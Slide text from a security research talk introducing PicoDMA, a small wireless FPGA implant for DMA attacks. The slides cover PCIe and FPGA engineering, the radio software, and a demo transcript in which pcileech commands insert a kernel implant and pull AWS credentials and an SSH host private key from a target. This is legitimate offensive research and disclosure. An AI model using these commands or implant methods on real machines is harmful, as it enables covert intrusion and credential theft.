PICODMA: DMA ATTACKS AT YOUR FINGERTIPS
WHO WE ARE

- Ben Blaxill ([ben [at] blaxill.org](mailto:ben@blaxill.org))
  - Former Principal Security Consultant with Matasano / NCC
  - Currently independent hardware researcher

- Joel Sandin ([jsandin [at] gmail.com](mailto:jsandin@gmail.com) / @PartyTimeDotEXE)
  - Formerly Senior Security Consultant with Matasano / NCC
  - Currently a principal at Latacora ([https://latacora.com](https://latacora.com)) helping startups bootstrap their security practice
TALK AGENDA

- Background on DMA attacks
- Introduce PicoDMA: wireless DMA implant
- FPGA / DMA engineering deep dive
- Radio module hardware and software
- Demos, conclusions, future work
DMA ATTACKS

- Direct Memory Access (DMA): typically involve attacker that gains physical access to a device
- Attacker reads and writes physical memory through high speed expansion port (Thunderbolt, ExpressCard, more)
- Can recover sensitive data from memory
- Can backdoor target machine to read files, bypass authentication, more
SELECTED PREVIOUS WORK

- SLOTSCREAMER (2014) by Joe Fitz: USB3380 reference board -> stealthy DMA hardware implant
- Pcileech (2016+) by Ulf Frisk: remarkable DMA attack suite
- HPE iLO vulnerability research (2018+) Fabien Périgaud, Alexandre Gazet, Joffrey Czarny: groundbreaking research, PCILeech integration

This list only scratches the surface of interesting work in this space.
PREVIOUS WORK: HID IMPLANTS

- Incorporate deception / wireless
- TURNIPSCHOOL + USB Ninja:
  - Masquerades as a cable!
- CactusWHID:
  - WHID Elite adding SIM800L
- Maltronics internal keylogger:
  - Tiny \((1\text{cm}^2)\), persistent
NOT JUST FOR ATTACKERS

- DMA invaluable for forensics
- Use tools like Volatility and rekall to extract:
  - Memory contents of running processes
  - Open network connections, files
  - Much more

```
(Dev) C:\Users\mic\rekall>rekall live
Launching live memory analysis
```

The Rekall Memory Forensic framework 1.4.0.post.dev18 (Etzel).
"We can remember it for you wholesale!"

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License.

```
[1] Default session 08:47:24> pslist
pslist() pslist()
```

```
<table>
<thead>
<tr>
<th>_EPROCESS</th>
<th>Start</th>
<th>Name</th>
<th>PID</th>
<th>PPID</th>
<th>Thds</th>
<th>Hnds</th>
<th>Sess</th>
<th>Wow64</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xe0006028:900</td>
<td>System</td>
<td></td>
<td>4</td>
<td>0</td>
<td>91</td>
<td>-</td>
<td>-</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:20+0000</td>
<td>-</td>
<td>0xe000627f900 conshost.exe</td>
<td>180</td>
<td>1624</td>
<td>2</td>
<td>-</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 15:02:35+0000</td>
<td>-</td>
<td>0xe000627f700 spoolsv.exe</td>
<td>288</td>
<td>544</td>
<td>9</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:24+0000</td>
<td>-</td>
<td>0xe000621ca040 smss.exe</td>
<td>308</td>
<td>4</td>
<td>2</td>
<td>-</td>
<td>-</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:20+0000</td>
<td>-</td>
<td>0xe000621c920 svchost.exe</td>
<td>380</td>
<td>544</td>
<td>15</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:24+0000</td>
<td>-</td>
<td>0xe000621c920 svchost.exe</td>
<td>388</td>
<td>380</td>
<td>8</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:21+0000</td>
<td>-</td>
<td>0xe000621d900 wininit.exe</td>
<td>440</td>
<td>380</td>
<td>1</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:21+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>448</td>
<td>432</td>
<td>9</td>
<td>-</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:21+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>488</td>
<td>432</td>
<td>2</td>
<td>-</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:21+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>540</td>
<td>2300</td>
<td>6</td>
<td>-</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:22+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>544</td>
<td>440</td>
<td>4</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:22+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>552</td>
<td>440</td>
<td>6</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:22+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>608</td>
<td>544</td>
<td>9</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:23+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>648</td>
<td>544</td>
<td>8</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:23+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>732</td>
<td>488</td>
<td>7</td>
<td>-</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>0x15-08-28 14:35:23+0000</td>
<td>-</td>
<td>0xe000627f700 cmd.exe</td>
<td>780</td>
<td>544</td>
<td>1</td>
<td>-</td>
<td>0</td>
<td>False</td>
</tr>
</tbody>
</table>
```

```
pslist example from rekall forensic blog
```
DMA ATTACK EXAMPLE (PCILEECH)

- Targeting hardened workstation
- BIOSs reset to disable IOMMU
- Connect FPGA to M.2 slot
- Use PCILEech to patch memory and unlock machine

Excellent writeup at https://www.synacktiv.com/posts/pentest/practical-dma-attack-on-windows-10.html
RESEARCH GOALS
DMA CAPABLE HARDWARE IMPLANTS

- Develop small DMA-capable hardware device
  - Implant should be persistent
  - Incorporate wireless capabilities
  - Use off-the-shelf hardware
- PoC new attack and defense scenarios
- Provide low-cost building blocks for new applications
**PICODMA INITIAL PROTOTYPE**

- Tiny: *fits on a keychain*
- DMA-capable: 64-bit streaming reads, writes, and FPGA-enabled search
- PCILeech compatible!
- Commodity hardware
HIGHLY EMBEDDABLE

- Easy to install
- Fits in small places
- Only needs M.2 A/E key expansion slot (or adapter)
- **Out-of-band access:** no network access on target
DEPLOYING PERSISTENT WIRELESS DMA IMPLANTS

- Decoupling installation from exploitation allows:
  - **Interdiction attacks**: install small physical implant when target device is powered down and in transit
  - **Abuse physical access**: remote hands-and-eyes technician with temporary physical access installs implant
  - **Deploy prior to offboarding**: Attacker may have legitimate access to a system before reinstall
  - **Deploy during provisioning**: Remote forensics later
NEW ATTACK VARIATIONS

- Don’t need access when machine is live
- Can capture *ephemeral credentials* from memory:
  - GPG and ssh agents
  - Web session cookies
- Profile and collect *activity logs* over time
- Protections enabled when machine is locked don’t apply
KEY INGREDIENTS

- FPGA platform for DMA
- Radio module for remote access
- Some way to connect them
- Software to drive the attack
- Enter the PicoEVB from RHS Research, LLC...
PICOEVB AS A DMA PLATFORM

- Commercially available: Launched on Crowdsupply ($220 USD)
- Artix-7 XC7A50T on a 22 x 30 x 3.8mm board
- M.2 form factor: A/E slot
- Expandable: 4 multipurpose I/O connectors, high-speed digital I/O
PROTOTYPE
ENGINEERING
REMOTE PCIE DMA REQUIREMENTS

- PCIe requires
  - High bandwidth capable chip
  - Low latency
- Remote communication requires
  - Low bandwidth
  - High latency leniency
PICODMA HIGH LEVEL

- Similar to previous PCIe DMA platforms
- Except we do more processing on the FPGA
- ... and attach a radio to it
DISCARDED IDEAS

- Microblaze/etc softcore on FPGA
  - 250 MB/s+ challenging without additional engineering effort
- We only need a fixed set of functionality
- Hardcore ARM/other more realistic (e.g. ZYNQ)
- SPI exposed directly over LoRa / Radio
FUTURE PLATFORM IDEAS

- Specialized PCB
- Lattice FPGA
  - Lower cost
  - Better support from Open Source community
- BOM cost potentially < $50
0 TO PCIE DMA IN UNDER 5 MINUTES
PCIE CONNECTORS

- Standard
- mPCIe
- M.2
  - A-M keying set by physical notch
  - A / B / E / F / M defined, the rest reserved
PCIE PINS

- Differential Pairs of Wires
  - One pair for reference clock (100Mhz)
  - One pair per direction per “lane” (1 lane == 4 wires)
- Standard connector up to x16
- M.2 up to x4
- Physical link width is negotiated
... OR USE AN ADAPTER

- M.2 keying also selects availability of:
  - USB 2.0 & 3.0
  - I2C
  - DisplayPort
  - SATA
  - & More
PCIE PROTOCOL HIGH LEVEL

- Packet based
- Tries to look like old PCI bus for backwards compatibility
- Many features such as flow control not covered here
- We care about the Transaction Layer
  - Looks more like a directly connected bus
- DMA usually host initiated
PCIE PROTOCOL SECURITY HIGH LEVEL

- Protocol Insecure by default
  - Valid threat model as physical access is required
- Device identification done by
  - 16 bit physical slot address (e.g. 01:00.0)
  - Device ID read from Endpoint configuration space
  - No challenge response to secure element on device means device ID can always be spoofed
TRANSACTION LAYER PACKET (TLP) TYPES

- Read / Write Memory
- Completion
- Configuration Read / Write
- IO Read / Write
- Interrupts
- and more...
Figure 3-1: 7 Series FPGAs Integrated Block for PCI Express v3.3 - Copyright Xilinx
0 TO FPGA IN UNDER 5 MINUTES
FPGA INTRO

- Synchronous circuits as programmable logic gates
- Wide range of capabilities and cost

<table>
<thead>
<tr>
<th>FPGA</th>
<th>Cost</th>
<th>LUTs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lattice ECP5</td>
<td>~$10</td>
<td>25K LUTs</td>
</tr>
<tr>
<td>Xilinx XC7A50T</td>
<td>~$60</td>
<td>50K LUTs</td>
</tr>
<tr>
<td>Xilinx VU9P</td>
<td>&gt; $10,000</td>
<td>1,800K LUTs</td>
</tr>
</tbody>
</table>

- Great for high speed IO, cycle accurate timing, and more
- Bad for engineer productivity
FPGA OVERVIEW

- Mostly lookup tables (LUTs), routing between them and clock networks
- “Hard cores” too - not just LUTs
  - Ethernet controllers
  - PCIe controllers
  - Etc.
- Low / Mid range devices still capable of high clock rates
FPGA DESIGN

- Tooling mostly proprietary
- Circuit design is very different to software design
  - Different approach to design / coding
  - Different bugs and debugging process
- Two major classes of design
  - Register-transfer level (Verilog / VHDL / etc)
  - Behavioral synthesis (OpenCL / HLS Compilers)
CLASH / CHISEL / ETC

- RTL design, but at a high level, benefitting from
  - Advanced type safety
  - Higher order programming
- Can prevent user from making clock domain errors
- An additional compilation step
SYNTHESIS AND IMPLEMENTATION
DEBUGGING

Waveform - hw_ila_1

ILA Status: Idle

Name | Value
--- | ---
project_bd_i/sp...ch_search_valid | 0
project_bd_i/sp...h_value[104:0] | 0
project_bd_i/sp...arch_tlph_valid | 0
project_bd_i/sp...lph_value[42:0] | 0f00000001
project_bd_i/sp...lph_valid[3:0] | 0000000000000000
project_bd_i/pcie_7x0_m_axis_rx_tvalid | 0

Settings - hw_ila_1

Capture Mode Settings
- Capture mode: ALWAYS
- Number of windows: 64 (1-1024)
- Window data depth: 16 (1-16)
- Trigger position in window: 0 (0-15)

General Settings
- Refresh rate: 250 ms

Trigger Setup - hw_ila_1

<table>
<thead>
<tr>
<th>Name</th>
<th>Operator</th>
<th>Radix</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>project_bd_i/spiSlaveTop_0_m_axis_tx_tvalid</td>
<td>==</td>
<td>[B]</td>
<td>1</td>
</tr>
<tr>
<td>project_bd_i/spiSlaveTop_0_dbg_search_tlph_valid</td>
<td>==</td>
<td>[B]</td>
<td>1</td>
</tr>
<tr>
<td>project_bd_i/pcie_7x0_m_axis_rx_tvalid</td>
<td>==</td>
<td>[B]</td>
<td>1</td>
</tr>
<tr>
<td>project_bd_i/spiSlaveTop_0_dbg_search_search_valid</td>
<td>==</td>
<td>[B]</td>
<td>1</td>
</tr>
</tbody>
</table>
PCIE MEETS FPGA
PICODMA FPGA OVERVIEW

- FPGA core exposing PCIe DMA functions as SPI slave
  - Read
  - Write
  - Search
  - Probe
- Asynchronous commands
SPI PROTOCOL

- Ubiquitous
- Simple to implement
- Microcontroller friendly
- Other options: I2C, UART, etc
- Master initiated communication

Copyright SparkFun
COMPILER INDUCED METASTABILITY

```
Failed (985): 0xFF
Failed (986): 0xFF
Failed (987): 0xFF
Failed (988): 0xFF
Failed (989): 0xFF
Failed (990): 0xFF
Failed (991): 0xFF
Failed (992): 0xFF
Failed (993): 0xFF
Failed (994): 0xFF
Failed (995): 0xFF
Failed (996): 0xFF
Failed (997): 0xFF
Failed (998): 0xFF
Failed (999): 0xFF
```

AKA

```
X = 1
If X == 0 then
    Y = 0
else
    Y = 1
>> Y == 0
```
ENDIANNESS MADNESS
GOTCHA #3

NUMEROUS OTHER ISSUES – LOTS OF PAIN
ADDING WIRELESS CAPABILITIES

- No radio on PicoEVB: Need a second device to handle communication
- Chose Pycom family for prototyping:
  - Micropython-enabled
  - Drive DMA over multipurpose I/O
  - Expose server that supports reads and writes of physical memory
PYCOM PROS

- Rapid prototyping with python
- Integrated radio modules: 802.11b/g/n, LTE, LoRa, more
- Expansion via SPI, I2C, lots of pins for GPIO
- Pretty tiny: 5.5 x 2cm
AND CONS

- **32-bit architecture**: (Xtensa dual-core LX6)
- **Limited memory**: 4MB ram, 8MB flash
- **Data copies can lead to heap fragmentation**
- **Low-bandwidth** SPI connection

Our software accounts for these challenges
Python Software Stack

- `read/write cmd`
  - `server thread rawtcp://9999`
  - `spi_dma object (dma.py)`
    - `Socket streaming read/write`
    - `spi_util.py`
    - `Block based read/write/search`
    - `spi.py`
      - `4096 byte read, 8 byte write, 32k search`

- SPI
  - PicoDMA (Artix 7 XC7A50T)
PicoDMA (slot A/E)

Pycom

- P10: CHIP SELECT
- P23: MOSI
- GND: GND
- P21: MISO
- P22: CLOCK
- VIN*: POWER

(back of board: Artix 7 on other side)
FUN GOTCHAS

- If you connect 3.3V on Pycom (instead of VIN) to PicoEVB, **PicoEVB breaks** (don’t pull a Joel)

- If code upload (via FTP) dies, **Pycom becomes unbootable**
  - Hold P12 high via 3.3V pin to boot into recovery

- WLAN configuration is **brittle and dangerous**
  - Use development board or enable UART

- Sensitive to AP hardware as well
TARGET: Intel BOXNUC8i7BEH1

- **Ubuntu 16.04.06 LTE** with **4.8.0-58-generic** kernel
- VT-d disabled
- kaslr disabled
- “Airgapped” with implant
fix font size (shift-cmd-+) and press enter to continue.

os info:
  node: WiPy
  release: 1.18.2.r1, version: v1.8.6-849-e0fb68e on 2018-12-08
  cpu freq: 160 MHz

System memory info (in bytes)
----------------------------------------
MPTask stack water mark: 6156
ServersTask stack water mark: 984
TimerTask stack water mark: 2164
IdleTask stack water mark: 576
System free heap: 392600

----------------------------------------
spi running at 5000000 baud, config:
  pycorn -> picoEVB
  P10  -> 1 (SPI_CS)
  P23  -> 2 (SPI_MOSI)
  P21  -> 1 (SPI_MISO)
  P22  -> 5 (SPI_CLK)
  VIN  -> 3 (POWER)
  GND  -> 6 (GND)

dma server thread (pcileech rawtcp:// compatible):
  listens at: 0.0.0.0:9999
  enabled: True
  is_running: True

press enter to test SPI connectivity with PicoDMA.
INFO:picodma_radio.spi:running SPI health test, 1000 trials.
INFO:picodma_radio.spi:health test complete, failure rate: 0.00

press enter to read 0x1000 bytes at 0x40000000.
press enter to read 0x1000 bytes at 0x400000000.
read 4096 bytes, press enter to dump first 0x200 bytes in hex.

```
5a 5a 5a 5a 6f de e3 f7 46 7b 77 bd 6f de e3 ZZZZ.o...F[w.o...
d7 6b 5b 37 9d 2f fe a3 d7 6b 5b 37 9d 2f fe a3 ..?.7/....7/.. 
d7 0e 5b 3f 9d 27 fe ab d3 0e 5f 3f 99 27 fa ab ...?.'......?.' 
f3 0e 7f 3f b9 27 da ab 73 0e ff 3f 39 27 5a ab ...?'s..79Z' 
27 8d b3 df f9 f6 5c 62 23 8d b7 df fd f6 58 62 '._.b#..Xb 
2b 0d bd bf f5 f5 76 50 e2 6b 0d df 5f f5 b5 76 10 e2 +._.V.P.k._.V. 
6b 09 ff 5b b5 72 10 e6 6b 29 ff 7b b5 52 10 c6 k.].r.r.k}.R.r. 
6b 29 ff 7b b5 52 10 c6 6b 28 ff 7a b5 53 10 c7 k.].r.k.(z.S. 
fa 8b b0 a2 15 36 47 7c f8 8b b2 a2 17 36 45 7c 6G!}.6E! 
f0 cb ba e2 1f 76 4d 3c b0 cb fa e2 5f 76 0d 3c ..VM<_v.< 
0b cf fa e6 5f 72 0d 38 b2 cf f8 e6 5d 72 0f 38 ..._.r.8...].r.8 
ba 4b f0 66 55 f2 07 b8 fa 4f b0 66 15 f2 47 b8 .K.fU}.0.f..G. 
36 89 a2 db e8 f2 4d 66 37 a9 a3 fb e9 d2 4c 46 6.....Mf7.....LF 
17 29 83 7b c9 52 6c c6 17 29 83 7b c9 52 6c c6 ).}.Rl.)}.Rl. 
17 2d 83 7f c9 52 6c c2 16 3d 82 6f c8 46 6d d2 +.-.Vl.=.-.o.Fm. 
1e bd 8a ef c0 c6 65 52 1e bc 8a ee c0 c7 65 53 ......eR........e5 
83 a4 f8 4b 45 bc 9b c7 87 a4 fc 4b 41 bc 9f c7 ...KE........KA 
a7 a4 dc 4b 61 bc bf c7 a7 a5 dc 4a 61 bd bf c6 ...Ka........Ja 
a7 a7 dc 4a 61 bf cf c4 a3 a7 d8 48 65 bf bb c4 ...Ha........He 
b3 27 c8 c8 75 3f ab 44 b3 27 c8 c8 75 3f ab 44 ... ud?D.'...ud?D 
2e 67 1f a1 07 c2 8b f3 2a 47 1b 81 03 e2 8f d3 .g......*G.... 
2a 47 1b 81 03 e2 8f d3 6a 47 5b 81 43 e2 cf d3 *G}.j}.G[.C. 
6a 4f 5b 89 43 ea cf db 6b 6f 5a a9 42 ca cf fb j0[C...koZ.B. 
7b 6f 4a a9 52 ca de fb 7b 6e 4a a8 52 cb de fa {oJ.R}.nJ.R. 
f9 75 27 0e c8 b3 3f 6d fd 75 23 0e cc b3 3b 6d ..'u'?m.u#}.m 
f5 75 2b 0e c4 b3 33 6d f5 74 2b 0f c4 b2 33 6c ..u+..3m.t+...3l 
f5 74 2b 0f c4 b2 33 6c f7 74 29 0f c6 b2 31 6c ...t+...3l.t)...1l 
e7 74 39 0f d6 b2 21 6c e7 74 39 0f d6 b2 21 6c ...t9?7l.t9?7l 
a6 48 60 50 03 dc 32 1a a4 48 62 50 01 dc 30 1a .H'P.2...HbP...0. 
a4 48 62 50 01 dc 30 1a a4 49 62 51 01 dd 30 1b .HbP...0..IbQ...0. 
a4 41 62 59 01 d5 30 13 a4 61 62 79 01 f5 30 33 .AbY...0...aby...03 
b4 61 72 79 11 f5 20 33 b4 60 72 78 11 f4 20 32 .ary...3.'rx...2
```

press enter to find linux 4.8+ kernel base address.
INFO:pocodma_radio.pcileech:found potential start page: 0x1800000, search hits
INFO:pocodma_radio.pcileech:GenuineIntel and AuthenticAMD found.
INFO:pocodma_radio.pcileech:NOPs found.
INFO:pocodma_radio.pcileech:hypercall null bytes found.
INFO:pocodma_radio.pcileech:found kernel base address 0x1800000
found kernel base! 0x1800000.
larger reads stream the data. In another terminal, run:

```bash
./pcileech dump -device rawtcp://192.168.88.253:9999 -min 0x1800000 -max 0x1808000 -out second_read.bin
```

press enter to continue.

press enter to read 0x1000 bytes at 1800000 + 0x1000.
read 4096 bytes, press enter to dump first 0x100 bytes in hex.

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
```

press enter to write 96 bytes into kernel.

wrote data, press enter to display memory contents:

```bash
20 20 20 3a 73 64 4e 4d 4d 68 2b 2e 20 20 20 20 20 20 20 ...
```

>>>
running pcileech with specified offsets, we can compute these FPGA-side
Press any key to insert kernel-mode implant
./pcileech kmld -device rawtcp://192.168.88.253:9999 -kmd LINUX_X64_48_OFFSETS -48 offsets 1800000,d969ca,fffffff825969ca,ffffff881912900,d99f19,fffffff82599f19,ffffff81a32b60

loading offsets from 1800000,d969ca,fffffff825969ca,ffffff881912900,d99f19,fffffff82599f19,ffffff81a32b60.
paKernelBase 1800000
aSeekKallsyms d969ca
vaSzKallsyms fffffff825969ca
vaFnKallsyms fffffff81912900
aSeekFnHijack d99f19
vaSzFnHijack fffffff82599f19
vaFnHijack fffffff81a32b60
KMD: Code inserted into the kernel - Waiting to receive execution.
KMD: Execution received - continuing ...
KMD: Successfully loaded at address: 0x1a600000

Implant load successful? Press enter to pull sensitive credentials.
pull aws credentials for user?

EXEC: SUCCESS! shellcode should now execute in kernel!
Please see below for results.

PULL FILES FROM TARGET SYSTEM
LINUX X64 EDITION

Pull a file from the target system to the local system.

REQUIRED OPTIONS:
    -out : file on local system to write result to.
            filename is given in normal format.
            Example: '-out c:\temp\shadow'
    -s : file on target system.
            Example: '-s /etc/shadow'

===== PULL ATTEMPT DETAILED RESULT INFORMATION =====

FILE NAME    : /home/jsandin/aws/credentials
RESULT CODE  : 0x00000000

0000  5b 64 65 66 61 75 6c 74 5d 0a 61 77 73 5f 61 63 [default].aws_ac
0010  65 67 73 73 5f 6b 65 79 5f 6f 69 64 3d 41 4b 49  cess_key_id=AKIA
0020  49 4f 4f 4f 4f 44 65 73 5f 65 73 5f 64 6f 6d 79  IOSFODNN7EXAMPLE
0030  6a 75 6e 2c 73 5f 70 6f 72 65 6e 74 2c 61 6e 64  .aws_secret_acce
0040  73 73 2c 65 73 74 72 69 6e 67 2c 61 6e 64 73 74  ss_key=wJalrXUt
0050  65 73 74 2c 65 6c 69 73 74 2c 64 69 73 74 65 73  FEMI/K7MDENG/bP
0060  73 74 3b 66 6f 6f 66 69 63 65 73 69 6e 67 2c 61  .st;foofooisign,a
EXEC: SUCCESS! shellcode should now execute in kernel!
Please see below for results.

PULL FILES FROM TARGET SYSTEM
LINUX X64 EDITION

Pull a file from the target system to the local system.

REQUIRED OPTIONS:
- `out`: file on local system to write result to.
  Example: `-out c:\temp\shadow`
- `s`: file on target system.
  Example: `-s /etc/shadow`

====== PULL ATTEMPT DETAILED RESULT INFORMATION ======

FILE NAME : /etc/ssh/ssh_host_rsa_key
RESULT CODE : 0x00000000

-----BEGIN RSA PRIVATE KEY-----
MIIEqIBAAKCAQEA...
KEY TAKEAWAYS

▸ Wireless DMA implants are more flexible, allow new attack variations and targets

▸ PicoEVB is a promising platform for DMA research and implant development

▸ Plenty of challenges to overcome in developing a working prototype
SOFTWARE RELEASE

- Making open-source software available (see github.com/picodma):
  
  - **PicoDMA-fpga**: Clash and Vivado projects with design files and documentation
  
  - **PicoDMA-radio**: Pycom-ready rawtcp:// server with pcileech support
  
  - **Pcileech-with-offsets**: pcileech kmd.c hack to load offsets

- Other useful tools!
  
  - **Pcileech-tcp-to-file**: useful for testing and forensics
FUTURE WORK

- Improve robustness of platform
- Add richer FPGA-native capabilities
- Explore implications for embedded systems
- Use PCILeech to understand challenge of new targets
  - Windows, UEFI...
- Develop more tightly coupled system
- More
THANK YOU!

- This work owes a huge debt to:
  - Ulf Frisk for releasing PCILeech, and all project contributors and users
  - Fabien Périgaud, Alexandre Gazet, Joffrey Czarny for groundbreaking research and showing the way for PCILeech integration
  - Audience for listening and feedback!